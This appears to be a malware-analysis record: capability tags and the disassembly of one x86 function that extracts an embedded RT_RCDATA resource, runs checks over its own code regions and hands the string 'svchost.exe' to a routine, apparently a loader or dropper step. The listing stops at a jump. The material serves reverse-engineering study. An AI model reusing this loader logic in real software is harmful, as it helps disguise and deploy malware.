Function at 0x401000
Capabilities:
Copy file
Extract resource via kernel32 functions
Get common file path
Get file size
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x337]
mov byte [ebp - 0x338], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
mov dword [ebp - 0x14], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x1c], 0xa
mov byte [ebp - 0x1b], 0xa
mov byte [ebp - 0x1a], 0xa
mov byte [ebp - 0x19], 0xa
mov byte [ebp - 0x18], 0xa
mov byte [ebp - 0x17], 0xa
mov byte [ebp - 0x16], 0xa
mov byte [ebp - 0x15], 0xa
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
call fcn.004021a1
mov eax, 0x401c20
mov edi, 0x401a0b
sub eax, edi
mov dword [ebp - 0x24], eax
mov eax, 0x401f02
sub eax, fcn.00401ce6
mov dword [ebp - 0x20], eax
mov eax, 0x4019fa
sub eax, 0x401943
mov dword [ebp - 0x28], eax
mov eax, 0x40193a
sub eax, fcn.004015ee
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push str.RT_RCDATA
push 0x66
call fcn.00401450
add esp, 0x10
cmp dword [ebp - 0x10], ebx
jne 0x4010d7
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
mov esi, 0x40443c
push 0x104
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1c]
push 8
push eax
push section..data
call fcn.00402350
add esp, 0xc
test eax, eax
je 0x40119f
push 8
lea eax, [ebp - 0x130]
push section..data
push eax
call fcn.00401f17
push dword [ebp - 0x24]
lea eax, [ebp - 0x130]
push edi
push eax
call fcn.00401f8f
push dword [ebp - 0x20]
lea eax, [ebp - 0x130]
push fcn.00401ce6
push eax
call fcn.00401f8f
push dword [ebp - 0x28]
lea eax, [ebp - 0x130]
push 0x401943
push eax
call fcn.00401f8f
push dword [ebp - 0x2c]
lea eax, [ebp - 0x130]
push fcn.004015ee
push eax
call fcn.00401f8f
push dword [ebp - 0x10]
lea eax, [ebp - 0x130]
push dword [ebp - 0x14]
push eax
call fcn.00401f8f
add esp, 0x48
lea eax, [ebp - 0x130]
push 0x100
push ebx
push eax
call fcn.004022f0
call fcn.004015ee
push str.svchost.exe
push dword [ebp - 0x14]
call fcn.00401ce6
add esp, 0x14
mov dword [ebp - 4], ebx
call fcn.00401499
mov ecx, dword [ebp - 4]
inc dword [ebp - 4]
cmp dword [ebp - 4], 8
mov byte [ecx + section..data], al
jl 0x4011a2
lea eax, [ebp - 0x1c]
push 8
push eax
push section..data
call fcn.00402350
add esp, 0xc
test eax, eax
je 0x40119f
push 8
lea eax, [ebp - 0x130]
push section..data
push eax
call fcn.00401f17
push dword [ebp - 0x24]
lea eax, [ebp - 0x130]
push edi
push eax
call fcn.00401f8f
push dword [ebp - 0x20]
lea eax, [ebp - 0x130]
push fcn.00401ce6
push eax
call fcn.00401f8f
push dword [ebp - 0x28]
lea eax, [ebp - 0x130]
push 0x401943
push eax
call fcn.00401f8f
push dword [ebp - 0x2c]
lea eax, [ebp - 0x130]
push fcn.004015ee
push eax
call fcn.00401f8f
push dword [ebp - 0x10]
lea eax, [ebp - 0x130]
push dword [ebp - 0x14]
push eax
call fcn.00401f8f
add esp, 0x48
lea eax, [ebp - 0x130]
push 0x100
push ebx
push eax
jmp loc.0040900a